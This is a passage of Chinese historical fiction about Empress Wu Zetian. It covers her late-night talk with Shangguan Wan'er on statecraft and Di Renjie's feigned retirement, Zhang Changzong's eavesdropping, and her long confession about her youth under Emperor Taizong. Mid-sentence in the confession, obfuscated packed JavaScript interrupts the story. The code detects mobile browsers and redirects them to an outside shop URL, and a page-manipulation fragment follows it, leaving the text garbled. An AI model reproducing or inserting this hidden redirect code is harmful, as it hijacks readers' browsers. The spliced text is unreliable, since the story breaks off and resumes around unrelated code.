“陛下。”上官婉儿躬身道。 “嗯。”武皇在炕上慢慢坐了下来,叫扶着她的宫女先去吧。 宫女于是退下了。 “陛下召臣来,可是为了......” “嗯,”武皇知道她要说的是谁,但这个人对自己来说太重要了,所以自己反而不想先去听有关于他的事情。这是为了让自己的期待能够持续得稍微久一点,如此,自己才能够保持足够的动力去耐下心来听那些乏味的事情。“你先不要讲他,先说说,今日又都是些什么样的奏折呀?” “嗯......魏阁老......” “哼,”武皇冷冷地道,“又是魏元忠。他又说了些什么?又是来骂我的五郎六郎的吧?嗯?哼,那关他什么事啊。他说什么?” “啊,都是些忤逆之言,不说也罢。免得惹陛下生气。”上官婉儿连忙陪笑道。 武皇气得叹了口气:“我生气又怎么样?反正他都已经说了。他的那些忤逆之言,我听得还少吗?上回,他连五郎家的奴才都给打了,还说什么,因为他们欺压百姓,而他魏元忠是为了维护朕的尊严,是按照律法行事。哼,他这不是在打朕的脸吗?看我老了,好欺负了。” “陛下息怒,”上官婉儿陪笑道,“魏阁老毕竟为国家立过功,人也是正直的,只是未免太直了些,所以难免得罪人。陛下宽宏大量,不必跟他一般计较。都说‘君明则臣直’,魏阁老仕宦多年,自然知道不应口无遮拦,只因陛下乃千古少有之明君,励精图治,纳谏如流,胸怀四海,心系天下。所以魏阁老才敢直言进谏,无所讳言。” “朕也知道,”武皇听了心里很是受用,“魏元忠当年讨伐徐敬业,还有近年来边陲的突厥吐蕃之患,他也有点功劳。朕也是记得的。他总是说,自己受到了奸佞之徒的陷害和排挤,几次差点冤死,又前后遭到了好几次流放。可此一时彼一时了。那时,是朕用人不当,来俊臣、侯思止、周兴等人,大兴冤狱,罗织百官罪名,朕竟然被蒙蔽,不知天下怨声载道,这实在是朕之过呀。然而如今,这些个酷吏,朕都已经一一处决了,天下也太平了。他魏元忠还在那里嚷嚷个什么?莫不是朕的治下,满朝文武都是奸佞,所以他才骂个不停,一而再再而三地上书,整天没完没了地弹劾这个又弹劾那个的。是不是想要借着指责朕的不是,来成全他直言进谏的美名?你说呢?” 上官婉儿微笑着看着武皇,却并不答话。因为她看出了武皇有点属于半自言自语的状态,并没有真要她回答的意思。有时候,沉默比说话更有用。 武皇叹了口气:“朕也知道,满朝大臣都在指责朕的不是,就因为朕近来宠幸张氏兄弟他们。可我实在是离不开他们了。朕老了,凡事都只想简单一点,不想再去想那么多了。他们兄弟二人,很体贴朕,朕跟他们在一起的时候很舒服。这些人哪,他们干吗老管我的私事呢?谁没有自己的私事呢?偏偏朕,就不能有吗?” 上官婉儿收敛了笑容,仍是静静地站着。 “这个魏元忠,不是还给朕上奏,说什么,‘臣蒙陛下厚恩,不能为国家尽忠死节,使得奸佞小人在君之侧,此乃臣之罪也。’哼,实在是......” “陛下,”上官婉儿知道该说话的时候,即使武皇还没有叫她说,自己也应该说。“为了国家的稳定,朝廷里有一些不同的势力,也未尝不是一件好事。不知臣说得对不对?” “嗯?”武皇看了她一眼,若有所思地说,“你说得也有道理。只怕朕对五郎六郎他们宠幸过度,反倒是害了他们。还不如,就留着这个直人,用来牵制他们。这样,反倒保住了他们的性命。” “臣的意思,正是如此。”上官婉儿明亮的目光中闪过一丝狡黠。 武皇哈哈大笑了起来:“婉儿啊,你现在已经明白什么是朝政了。朝政,就是制衡。谁也不能完全消灭谁和战胜谁,要让他们彼此之间相互牵制以保持平衡,这样,他们所有人就都能够为你所用。如果让他们之间的任何一方做大了,你就会反过来被他们给控制住,也就是会遭到反噬,最后连你自己都要遭殃。” “陛下英明。”上官婉儿微笑道。 “坐吧。”武皇见她仍是站在那里,怜惜地说。 “臣还是站着吧。” “朕叫你坐你就坐。” “谢陛下。”上官婉儿于是在一旁的炕沿上恭恭敬敬地面向武皇斜着坐下了。 “刚才说到哪了?”武皇思路断了于是努力地摸索着。 “陛下,是朝政的事。” “啊,对对对,正说着朝政呢。”武皇近来有些健忘,真正感到有些力不从心了。“其实啊,说来,也就那么些个事儿。最重要的,就是要学会如何去用人,而要用人呢,首先就得先懂得知人。知人善任,要知人,才能善任,倘若不知人,又怎能做到善于任命呢?比如说,一个人只有百里之才,你却让他管理一个千乘之国,这不是勉为其难嘛。同样,你把一个大才放在一个很小的位置上,那也是浪费了人才。当年,逆贼徐敬业造反谋逆的时候,他手下有个文人叫骆宾王,替他主子徐敬业写了个讨伐我的檄文,把我骂了个体无完肤,写了一大篇,那当真是文采飞扬,是一个好文章。当年我逐字逐句细细地看了一遍,看完以后忍不住感叹说,像骆宾王这样的人才,居然让他流落民间,因为得不到朝廷的重用而最终误入歧途,这么好的文采,却只能替一个逆贼写讨伐檄文,这实在是选拔人才的人之过呀。而天底下像骆宾王这样郁郁不得志的人还有无数,都是因为这世上的人才被挖掘得还远远不够啊。这世上从来就不缺乏人才,但是却缺乏发掘人才的眼睛。而为政之人的责任就是要去做这一双眼睛,让天底下的人才都能够得到重用,让世上凡是有才华的人都能够实现自己的价值,不至于像骆宾王那样走错了道路,虽然他这个人有才华,却因为得不到重用而把才华用错了地方,这是多么悲哀的事啊。你看我老提这个骆宾王,因为我实在是为他感到惋惜,他的文章写得实在是太好了。他那个给徐敬业写的讨伐檄文,里面有几句尤其好,我到了现在都还记得。‘一抔之土未干,六尺之孤何托。’行文至此,那气势磅礴竟然到了这种境界,不料到了文章的最后,奇峰突起,那收尾更是气吞山河。‘试看今日之域中,竟是谁家之天下!’你看看这气势!当然,徐敬业这逆贼还不够资格与我争天下。唉,只可惜骆宾王已经死了,不然,只要他不再反对我,我就赦免他的罪孽,然后重用他,这样才不枉费了他这文学上的才华。朕扯远了,刚才正说着朝政呢,我们继续说说。所以啊,用人首先要先知人,知人方才能够善任。善于任命,就不会出现那种大才之人被拿来小用和小才之人被拿来大用的情况。而且,有的人适合做那个而不适合做这个,有的人又更适合做这个而不适合做那个。要知道,这世上不论什么样的人,都有他的用处,就看你怎么用了。实际上,只要找到适合他的定位,让他把自身的长处发挥尽致,这样就很好了。因为这世上没有完美的人,人人都有他的长处,也都有他的缺点。长处和缺陷在每个人身上都是共存的。正所谓,‘尺有所短,寸有所长。物有所不足,智有所不明。’所以只需要做到人尽其才,也就没问题了。但是要做到人尽其才,你首先还是得先去了解他们。然而一个君主,以其一人之力,想要做到去了解天底下的所有人,那是不可能做到的事。所以说啊,在大的方面,君主要去管,而在小的方面,君主则要学会去放手,让底下那些受其管辖的官员们去管。只要遴选好了人才,就要适当地放权给他们,自己不要凡事都去干预,不要总想着把权力全部抓在自己手里,不然底下的人又该怎么替你办事?所以啊,适当地放权,可以让他们拥有发挥自己才能的空间,君主也不用活活累死,非得把天下事全都揽到自己一个人身上。把事情自己一个人全都做了,也未必就是一件好事,许多事情还是要分一些给别人做的。也只有如此,君臣各在其位,众人各司其职,这才能够算得上是把治国理政之道发挥尽致。” 上官婉儿道:“陛下深谙治道,臣不胜钦佩。” 武皇道:“譬如说,娄师德这个人,可也不简单哪。若非他多次向朕举荐,我还不会去用狄怀英呢。娄师德这个人哪,他懂得实在是太多了。也正是因为他这个人太过于精明的缘故,所以他反而装得老实巴交的,从来也不显露锋芒,也从来不会去得罪任何人,更不会去争论什么,所以最后谁也奈何不了他。这就是老子曾经说过的,‘夫唯不争,故天下莫能与之争。’依我看哪,他娄师德的不争,本身就是在争。你看连狄仁杰,本身就是他所举荐的,然而他却从来也不曾告诉过狄仁杰,所以连狄仁杰自己都不知道自己是被他举荐的这回事,狄仁杰还多次想要把他排挤出朝,以为他娄师德也是个尸位素餐的官僚,更是时常不给他好脸色看,几乎都把他当成是奸佞之徒来看待了,娄师德却依然选择包容狄仁杰。直到有一次,连朕都看不下去了,于是私下里把狄仁杰找来谈话,我问他,你认为娄师德这个人有举荐贤能的本事吗?狄仁杰回答说,只怕这个人并没有这种本事。我当时看他一脸鄙夷和不屑,于是笑着对他说,我看还是有这种本事的,毕竟贤卿便是他举荐给朕的,这么看来,他娄师德还是有举荐贤能的这种本领的,贤卿以为呢?当时狄仁杰听了这话,当场就愣住了。听说狄仁杰出去以后,就忍不住痛悔地哭了起来,跟人说:自己竟然被娄师德默默地包容了这么久,自己却还这样对他,自己对不起他。你看看,连狄仁杰都不知道他有什么举荐贤能之才,这就更说明,娄师德不是不举荐,而是不愿举荐那些不好的,反倒是要举荐就去举荐那些像狄仁杰这样真正好的。也不是他不争,而是他不把自己放在风口浪尖,只是韬光养晦,以退为进,以待时机,借着一两个有效之举,来一展其胸中抱负。所以朕说,他娄师德不简单哪。” 上官婉儿认真地听着。 武皇道:“再比如说,那个满朝文武都叫他‘苏模棱’的那个苏味道,朕不是一样让他当上了宰相,因为他有文学上的才华。至于天下大事,本就是纷繁复杂的,纵然模棱两可,没有明确的主见,又有什么关系呢?还是那句话,‘人尽其才’,不需要样样皆通,但要有过人之处。所谓‘不在其位,不谋其政。’正是这个道理。” 武皇说着,又补充了一句:“六郎,出来吧,别躲在帘子后面偷听了。” 张昌宗吓了一跳,上官婉儿却只是微微一笑,因为她早就发现了。 张昌宗大喊一声“陛下!”连忙从帘子后边儿跑了出来。他穿着一身雪白又宽松的睡袍,整个人直接朝武皇跪着迅速地爬了过去,大叫说:“六郎刚刚才来,真的什么都没有听见!” “朕早就看到你了,又何必撒谎。” “陛下,六郎是见陛下突然就不在六郎的身边了,那心里面急得什么似的,所以才着急着要来寻找陛下,因为六郎真的是一刻也离不开陛下呀!不是六郎故意要偷听的。” “好啦,朕知道啦,是六郎关心朕。”武皇竟也毫无怪罪之意,语气温柔地说。 张昌宗眼里泛着感激的泪光,又连忙爬近前来双手抱住武皇的小腿,喊着说:“陛下!六郎的心里只有陛下呀!” 武皇轻轻地叹了口气,充满了怜惜地看着他,用手轻轻地抚摸着他的头,见他那披散下来的长发飘飘然,配上那张俊俏的面容,真就仿若神仙一般。武皇用手托起了他的下巴,见他泪流满面,一副可怜兮兮的模样充满了崇敬地看着自己。武皇顿时便生出了一种自豪感和伤感交织在一起的感觉,不由得又叹了口气。 上官婉儿此时坐在一旁,装作一副若无其事的样子,只微微低着头,眼睛尽量不往武皇那边看。因为她担心自己会彻底地失态。当然,她还是忍不住偶尔去偷偷地瞄一眼张昌宗,他那俊俏的脸庞还有他的身子,她却已经有点情不自禁地呼吸急促了起来。她顿时便控制不住自己面红耳赤,自己的耳旁仿佛又响起了他的呼吸声,她的脑海中又不由自主地闪过那些跟他在一起的那些画面。她此刻甚至对武皇又羡慕又嫉妒,因为武皇竟然能够如此轻易地拥有他,而自己却只能沉浸在过去那短暂的回忆中,去偷偷地幻想着那种隐秘的渴望。但她逼着自己强行保持着冷静,丝毫也不敢将这种念头表现出来,尤其是不能让武皇看见自己有着这种想法,因为她感到很害怕,她对于前不久刚刚发生的事情依然感到心有余悸。她用那一朵鲜红色的梅花掩盖住的伤疤,就是当武皇发现了他和她在一起的时候给她留下来的痕迹,武皇突然发出的那一声怒吼和刺向自己的那一剑,都让自己至今仍然感到一种极致的恐惧,让她再也不敢去觊觎和分享武皇的禁脔。所以此刻她竭力控制住自己急促的呼吸,不敢再去看,更不敢再去胡思乱想了。 与此同时,武皇也看了一眼上官婉儿,看到了她放在自己的两个大腿上的双手正局促不安地轻轻挪动着,还有她那快速起伏的胸部,她那有些迷离恍惚的眼神,她那面红耳赤咬着自己嘴唇的样子,甚至还有她偷偷瞄了一眼张昌宗的举动。武皇当然知道她心里是什么想法。武皇心里自然是很不痛快,但自己难道还像上次那样再去刺她一剑吗?自己不会了。因为自己好像已经没那动力了。感觉自己好像疾速地衰老了,不只是身体的衰老,连自己的这颗心也老了。武皇好像在这一瞬间什么都不在乎了,许许多多从前舍不得也放不下的事情,似乎也都舍得和放下了。武皇只是无声地叹了口气。 与此同时,张昌宗也偷偷地瞄了一眼上官婉儿,他看到了她那俏丽美艳的脸庞和她那曼妙的身姿,他也不由得对那种幻想中的画面心驰神往,但他害怕武皇,所以也不敢去多看多想。他心里面其实对武皇感到一种极端的厌恶,以至于每当自己跟这个老太婆亲热的时候,他都会恶心到想吐。他有时候会在心里咒诅武皇让她不得好死,但他其实又不希望她真的死了,否则他们兄弟二人就没指望了。而且他又舍不得也放不下荣华富贵,所以纵使再厌恶武皇,他也不能表现出来,反而还得露出一副幸福至极的表情给武皇看,弄得好像他在乎的是她这个人的本身,而不是那随她而来的这一切。 “陛下,”上官婉儿起身道,她竭力控制住自己的语气不要颤抖,“臣,是否要告退?” “留下来吧,”武皇冷冷淡淡地说,“六郎又不是外人。” “陛下要不,早些安寝?” “是啊,夜已深了,是该早些休息了。” “那......” “哦,对了,”武皇这才想起最要紧的事来,“六郎,你先回去,”她跟正在发呆的张昌宗说,“我跟婉儿还有些话要说。你不要再来偷听了,知道没有?” “六郎知道。我这就走。”张昌宗于是缓缓地爬了起来,一副恋恋不舍的样子,悲伤地望向武皇,又迅速地瞥了一眼上官婉儿,见她也正看向自己,心里感到一阵痛快,突然间脑海中又响起了上回武皇的那个可怕的怒吼,他整个人都不由得浑身一颤,吓得他连忙走远了。 “婉儿。”武皇这时道。 “陛下,臣在。” “你跟朕说说那个人。” “陛下是指,臣开头想说的那个人和有关于他的事?” “是。” “狄阁老?” 武皇听到了这三个字,便轻轻地叹了一口气。她每当把该说的话都说尽的时候,总是要回到狄仁杰的身上,因为这个人,对她很重要。她一路走到了如今的迟暮之年,突然发现这世上就没有人能够懂得自己。就连自己的至亲,像儿子李显李旦,女儿太平公主,还有王公大臣们,都不能真正懂得自己。只有一个上官婉儿懂得一点点,所以自己时常在散朝以后,或者是在像今晚这样的宁静又无人打扰的夜里,召见她来,一起说说话,聊聊天,也谈一些心事。但是武皇也知道,上官婉儿毕竟还是太年轻了,有些事吧,她也只能懂得一部分。只有他,狄仁杰,能够懂得自己深藏心底那最隐秘的一部分感受,那就是一种极致的孤独。这世上没有几个人能够真正明白这种感觉,因为没有几个人能够有机会去体验到生命中的这种极致的孤独。武皇体验到了,而她知道,狄仁杰也体验到了。她又是怎么知道他也体验到了呢?因为她懂他,所以她相信,他也懂得自己。 “狄怀英,明天就要走了。” “就是明天?” “嗯,朕为他定下的出发时间就在明日一早。” “臣只知道阁老要走了,至于出发时间,也是现在才知道。” “他这次的事情没那么简单,但是朕希望他能够平安地回来。” “狄阁老请求致仕的事,陛下不是已经应准了吗?” 武皇道:“所谓的致仕,只是朕与狄仁杰向满朝文武演的一场戏而已,并不是真相。” “真相?敢问陛下,真相是什么?” “朕先问你,如果说他这次真的是要告老还乡,你又怎么理解?” 上官婉儿没有料到这件事情原来并没有表面上看去的那样简单,她原本以为狄仁杰真的就是要告老还乡,却不曾想这只是武皇跟他演的一场戏,不但骗过了满朝文武,而且连自己也以为就是这样而已。她突然感觉这件事就像一个漩涡,一旦触碰到这件事并且想要追寻真相,自己整个人就会被这件事吞噬,因为这似乎是一个局,一个武皇用她那帝王之手设的局,是自己这样的一个外人不能去触碰的,否则一旦卷入了这个漩涡当中,自己有可能就会粉身碎骨。 上官婉儿虽然如此想,但是武皇既然问她了,自己又不得不回答,于是说道:“臣是这么看的。自从陛下把狄阁老从流放之地召了回来,再一次让他当上了宰相,狄阁老又屡立奇功,包括前段时间平定契丹之乱,他也是有功劳的。于是就出现了这么一个情况,那就是狄阁老的功劳实在是太大了,大到陛下不是不愿意赏赐他,而是不知道应该给这样的功臣赏赐一些什么才好。所以狄阁老主动提出要告老还乡的事情就出现了。于是陛下因为阁老首先提出要乞骸骨之事,便借坡下驴,顺水推舟,好让他回去一趟。阁老纵然不主动去提,皇上也会开口去提,可那样的话,就显得阁老有点太不体贴陛下了。然而阁老毕竟是个聪明人,知道自己在前段时间里的功劳太大了,所谓立下盖世之功者不赏,便是其功甚大以致于赏无可赏,而立功之臣此时若不知暂退,便是无智之人。狄阁老身为当朝宰相,同凤阁鸾台平章事,已是位极人臣,又深受陛下恩宠,他若是执意要继续留在朝里,陛下又该如何赏赐他?如此反倒生出不虞之隙来了。然而阁老毕竟是有智慧的,知道此时选择暂时离开一阵子,不单是保全了自身,还有陛下自然会赏赐给他的荣华富贵,而且还保全了君臣之间友好的关系,君臣之谊遂不会断,这正是两全其美之策。这就是臣对于狄阁老提出要致仕的理解,不知陛下的意思又是如何?” 武皇道:“你的理解对于大部分情况来说都是完全准确的,但是这一次,情况却不是这样。因为狄仁杰并不是要告老还乡,而是要去边关。” 上官婉儿心里吃了一惊,因为她好像瞬间明白了什么。 武皇突然忍不住流下了眼泪:“朕错了,错了呀。都怪我当时那一句话,就那一句话,就把他这么好的一个人给害死了。也许我真的是故意的,我并非心血来潮,突然就生出了这样的一个念头,而是深思熟虑了许久以后才把这话说了出口。但是不管怎么样,我可以肯定地说,那绝对不是我的意思,因为我没有理由,我做的这个选择没有任何理由啊,所以我就更不明白为什么自己却这么说了,这本来是不必说出口的话呀,但当我在那种无尽的孤独当中难以自拔的时候,当我在那座偏殿当中跟他面对面的时候,当我意识到他的内心当中跟我一样孤独的时候,当我们两个人看破了对方的心思却依然不去点破而笑了起来的时候,当那座昏暗的偏殿当中寂静无声只有我们两个人的时候,当窗外这个萧瑟的秋日阴着天下着雨的时候,当我那衰老的心灵孤凄到了极致的时候,我竟然在跟他面对面大笑了几声之后,做出了一个连我自己都意想不到的选择,那就是问了他一个问题:有一段路,你愿意走吗? “现在我敢肯定,当时是我心里面的魔鬼引诱我说出的那一句话,这绝对不是我自己的意思,我绝对不会想要让他就这么白白地去送死,可是当时我被自己的心魔迷惑了,这是一个充满了诱惑力的问题,而我动了一个最邪恶的念头,那就是把这个问题问了出来,并且期待他的回答。我当然知道他会如何回答,因为他没有任何选择。当我问出这个问题的时候,他早已失去了可以去选择的自由,因为倘若他有着去选择的自由,这个问题就不应该是从我的口中说了出口,因为当我问他问题的时候,我问他的这个问题本身就是他仅有的选择,而他所有可以选择的答案也就是去接受我所问他的问题。我看似给了他选择的自由,而实际上因为这个问题是我提出的,所以他就不可能拥有选择的自由。 “也许我又一次犯了罪,造了又一个罪孽,就好像我这一生所造的无数罪孽一样,我又一次享受到了作恶所带来的快感,那是毫无原因的,只是因为我太看重他了,我太在乎他了,我太需要他了,而我知道他迟早有一天也会离我而去,因为他也老了,他也只是个人,他会离开我的,而当他离开我的那一天,我的整个朝堂也就跟着他的离去而空掉了,他一走我的朝堂也就空了。既然他迟早都要离开我,那我为什么不亲自送他上路,让他的离开不属于老天的安排,而是属于我!我要你走你才能走!否则谁也别想将你从我的身边夺去,老天爷也不行!只有我能够主宰你的生死,你自己都没有自由去选择自己要怎么去死!只有我能主宰你的死法,也只有我能够选择是否让你继续活下去!如果我不想让你死掉,谁也别想让你去死!你明白了吗?你知道了吗?你现在知道我是怎么对你的了吗?你知道我有多在乎你吗?我不能允许你离开我,但没有什么能够永远地为我停留,连你也不行,那我为什么不亲手创造一个永恒,永永远远地留在我和你的记忆当中,让我们彼此都无法忘怀,也让你的离去更加地悲壮!我要让你悲壮地离开我!因为这一次,你所要去破的是你这一生当中最大的一个案子,而这个案子,就是你狄仁杰的人生之案。这世界上有无数个案子,也有无数个谜团,可最大的案子,就是人生这个案子,最大的谜团,也就是人生这个谜团。如果你至今还没有破案,还不曾解开人生这个巨大的谜团,那么这一次,我祝愿你在这条漫长的边关之路上,破了这个大案,解开这个谜团,成为一个最伟大的探案之人。 “因为这个原因,所以我就忍不住要给他背负起无比沉重的苦难,让他在我心中的价值更加地崇高,让我那一刹那生起的恶念更加能够发挥力度,也让我这一生背负的罪孽更加地沉重,让我无数次破裂了又愈合的伤口再一次流血,让我在罪孽当中所承受的痛苦得以加剧,也让他更加能够跟我一样感受到那种极致的孤独!那一瞬间我感觉自己已经疯了,疯了你知道吗?!啊!我疯了!我真的疯了呀!我为什么那么对他!没有理由啊!我为什么要做这样的选择?为什么连我自己都不明白?!我不明白!告诉我为什么!为什么!那就像从前我无数次地选择去作恶一样,那是不可理喻的邪恶啊!我为什么要害他?我不知道啊,那是没有任何理由的,纯粹就是因为我想证明自己拥有权力,我想证明自己拥有掌控别人生死的权力,我只是想要证明自己真的还拥有一些什么,而不是像我认为的那样一无所有,争夺了一辈子最终什么都没有抓住,没有任何东西是属于我的,我一无所有啊!我到底拥有什么!告诉我呀!我到底能拥有什么!难道真的只是一场空?我只是做了一场大梦,醒来以后才发现什么都没有。 “曾经我以为拥有了天下我就拥有了一切,直到我真的拥有了天下,我才发现自己所能拥有的就只有孤独,因为这一路走来,我已经失去了一切,亲人、朋友、感情,什么都没了。为了得到这个虚妄的皇帝宝座,我这一路之上竟然早已经失去了一切,一切都没了就是一个帝王,我是千古以来第一个当上了皇帝的女人,然而我却失去了一个人本该拥有的一切,就为了换取这样一个至尊的身份,代价竟然是剥夺身为一个人的一切啊!所有人都恨我,所以我也恨所有人!我不后悔自己不择手段地得到了这一切,因为是这个世界欠我的!这个世界从来也不曾给过我爱,我为什么要去爱这个世界?这一个个人,他们把黑暗带给我,所以我也把他们的光明拿走!这公平吗?我认为很公平!任何一个人走到任何一步,都不是偶然的,都是命中注定的。一个人像我这样会变坏,因为我命中注定就该变坏,我就该做一个坏人。看吧,我这样一个坏人竟然得到了一切,你说好笑不好笑?因为我够坏,所以这一路上我才能挺得过来,否则无数次我都应该放弃了。 “我父亲在我很小的时候就去世了,我那几个该死的兄弟就来争夺财产,合起伙来欺负我们几个女人,我和我母亲和姐姐争不过他们,从此我就不再相信亲情了,我学会了忍耐,心里却开始充满了仇恨,我发誓,将来一定要让我那几个兄弟不得好死。我十四岁入宫,做了太宗皇帝的才人,却被冷落了十几年。其实太宗皇帝是我这辈子爱过的第一个男人。早在入宫以前,我就听说了他辉煌的戎马生涯和英雄事迹。他打遍群雄,难逢敌手,结束了隋末离乱,定鼎天下,从父兄手中夺得了皇位,最终开创了一个千古少有的盛世,又用他睥睨天下的格局让夷狄臣服,成为了天下共主‘天可汗’。这是一个有着何等英雄气概的男人啊!从小我就仰慕他,没想到有一天我竟然能够入宫做他的妃子,我为此而感到荣耀。我当时想,只要能够待在太宗皇帝的身边,时常瞻仰他的风采,就是我的大幸了,至于名分大小倒也无所谓。直到入宫以后我才发现,太宗皇帝身边的女人至少也有上百个,虽然跟历代帝王相比算不得多了,但是想见到皇帝一面竟然这么不容易,这后宫中有很多女人连皇帝的面都不曾见过,而我也没有立刻见到他。 “也许当时,我也有着豆蔻年华少女的羞怯,虽然我看不起那些女人的做作和忸怩,但是想到那个伟大的男人,我也会情不自禁地脸红,不知道自己跟他第一次见面的时候会是什么样的,他会不会跟我谈谈感情呢?他见到我的时候又会是什么样的呢?当我知道了太宗皇帝要我侍寝的时候,我也因为没有经验而紧张了起来。我在焦急的等待中盼到了他,他那充满了我喜欢的男子气概的身形出现在了我的面前,我虽然紧张到心脏快速地跳动,却忍不住望向他那双明亮的眼睛,自己却是一动不动地站着,因为他那英武的气质深深地震撼了我。太宗皇帝走到了我的面前,打量了我几眼,只说了三个字:武才人?我只是轻轻地点了点头,他就没有再说别的话,直接就把我抱到了床榻上。我还没有反应过来,也没有来得及去感受,就度过了我的初夜,从此我从一个还会羞怯的女孩变成了一个再也不会害羞的女人了。那个夜晚我有的只是惊慌,因为我所渴望的情感的抚慰,我所期盼的感情的诉说,都没有发生,没有任何多余的话从那个男人口中说出,有的就只是简单粗暴的情欲的宣泄,甚至有一瞬间,我感到自己在他眼中都不是一个人,而只是一个宣泄欲望的工具,所以在我身上用不着任何的感情,而我也不配跟他谈任何感情,我唯一能做的也就只有任凭他熟练的动作在我的身体上任意而为,除了情欲的声息,没有任何其它言语。事后,太宗皇帝用他那粗壮的大手托起了我的下巴,这才认真地看了我几眼,然后就赐给了我一个称号:武媚。 “我后来始终相信,太宗皇帝也曾经喜欢过我,他并不是一个没有感情的人,只不过是因为当时的我微不足道,而他也并不是一个只会谈情说爱的庸人,而是一个胸怀天下的伟大的帝王,他有着我那时候还无法理解的格局和境界,所以我并不怨他。因为现在我终于理解了,而我也早已失去了感情,当上了一个有话也无法说出口的帝王。当时,我因为能够侍寝和待在他的身边服侍他而感到心满意足了,我的要求并不高,我并不渴望多么高的身份和地位,因为我看不起这些。我更看不起的是同样身在后宫的这些女人们,就为了争夺皇帝的宠爱而勾心斗角,相互之间嫉恨到咬牙切齿,她们都恨不得要把对方整死,如果不因为得势了而嚣张一番,似乎她们的狭隘使得她们无法继续活下去,所以她们把自己全部的精力都用在了争宠上,用此来表明她们这群女人存在的全部意义,除此以外再也没有什么别的意义是属于她们的存在了。 “我却没有她们这么浅薄的眼光,我当时就认为,我存在的意义不是只为了讨好男人,哪怕这个男人是这世上最伟大的男人,是一个至高无上的帝王,我也依然不会把他当做我生命中的一切,因为我从来就不应该只是为了男人而活,不但是男人,我从来就不是为了任何人而活,我只为了我自己而活,除了我自己以外,这世上没有任何人配得上我为他而活,不管是太宗皇帝还是高宗皇帝,都一样,他们毕竟还是没有我自己在我生命中重要,我始终抱有这样的信念和想法,也许我一直就是这样的自私,因为我愿意为了成就我自己的价值,让天下人都为我让步,就连一个王朝也不能挡住我的道路,那些想要挡住我的路的人,他们一个个都得去死,就连我的至亲也不例外,我不会为了感情去损害自己前进的决心,我也不会为了感情而停住我前进的脚步,除非我自己放弃了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051953|194817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我自己,否则谁也不能阻挡住我向自己的理想奔赴。 “我相信,太宗皇帝一定爱过我,他还亲自教我临摹王羲之的《兰亭序》,他还说我临摹得很像呢,他让我时常服侍他的生活起居,还夸我非常地妩媚动人,他又怎么会不爱我?他一定是爱我的,至少,他曾经一定爱过我。我有一次还帮他想办法怎么去驯服烈马,他当时非常地佩服我。我当时给他出的主意多好啊,我说我只需要三样东西就可以驯服它了:一个是鞭子,一个是锤子,还有一个是匕首。我当时跟太宗皇帝说,我先用鞭子往这个畜生身上狠狠地抽打,如果这个畜生还不服的话,我就用铁锤猛烈地砸它的脑袋,如果它还不服的话,我就用匕首割断它的喉咙,让这个畜生的血溅出来!太宗皇帝当时听了以后,可是非常地敬佩我呀!可从此以后,他就再也不来看我了。他明明很佩服我的胆识,可他为什么就不来看我了呢?我想不明白啊!所以我唯一能做的就是等待,我一直都在等啊,等啊,但是太宗皇帝不再理我了。有一次,我看到了他望着我瞧了一眼的眼神,那里面居然只有嫌弃和厌恶!他为什么这么对我?我哪里做得不好了,他居然会这么地讨厌我。他明明很佩服我,他明明很爱我,就像我爱他那样,他为什么突然就变得这么无情了?还是说,他本来就对我没有任何感情?我不知道啊。我虽然察觉到了他对我的态度的变化,但是我无能为力,我改变不了他对我的态度。那些日子啊,孤独啊,痛苦啊,我没有任何办法挽回,我的妆容没有人欣赏,我只有自己一个人哭。但是什么都改变不了。我明确地感觉到了这个本就很淡薄的爱已经完全失去了,我失去了太宗皇帝的爱,也失去了我的整个青春韶华。十几年哪,你知道一个女人一辈子能有几个十几年吗?我在时间的流逝中绝望,我在光阴的消逝中疯狂!我砸碎了梳妆台上的铜镜,我把化妆品全部都砸了个粉碎,我亲手让自己的青春年华碎裂在了孤独当中!没有人诉说,也没有人理解,只有自己跟自己生气,恨自己只是一个女人,一生的命运全都被握在男人的手中!我感到了身处这个后宫之中是多么地不自由!我看不到大明宫华丽的宫墙以外的世界,我也看不到这几个豪华的屋檐以外的天空,大明宫啊,那些雕梁画栋的装潢和殿宇,院落里四面环绕着我的屋檐,那一堵堵宫墙包围下的一块块砖头地,这些就是我唯一的世界,再也没有别的了。 “那段时间,太宗皇帝的其他妃嫔们都很高兴,她们高兴看到我失宠了。其实在这后宫之中,任何一个失宠的女人都会引起她们的喜悦,因为这种幸灾乐祸的表现,是她们这些女人们最后展示自己的尊严的机会,她们再也没有其它机会去展示她们那微小的尊严了。她们多愚蠢哪,也就这点子追求了。但我自己也已经没有办法了,在这世上哪有什么尊严,有的只是残酷无情的现实。我听说了无数个白头宫女的故事,我感到恐惧,因为我逐渐地相信,自己就是下一个白了头的宫女。 “直到太宗皇帝病重的那些日子,我才因为在皇帝身边服侍,而遇见了我这一生当中最爱的男人,高宗皇帝。他好像寒冬里的一抹阳光照耀在了我的生命当中,让我从此感受到了自己的人生依然还有着希望,也让我感受到了春风拂过一般的温暖。他的出现融化了我心中的冰雪,让我青春的花朵又一次鲜艳地盛放。当时,他还是个充满了稚气的孩子,拥有一双最清澈的眼神,整个人无比地单纯,仿佛不谙世事一样,让我觉得,他竟然有点可爱。他叫李治,是太子。我们初见在太宗皇帝的病榻之前,我们深深地爱慕彼此,我们相爱了!那是一段幸福又短暂的时光,却深深地影响了我的一生。因为从此以后,我的一生就自然而然地跟他纠缠在了一起,就像当初我们二人偷偷地约定,要永远在一起,永远都不要忘记对方,永远也不要分开,最初的那份爱也永远都不要改变。我至今都忘不了,我们二人彼此对视的那一眼,那是我这一生当中最美好的初见。 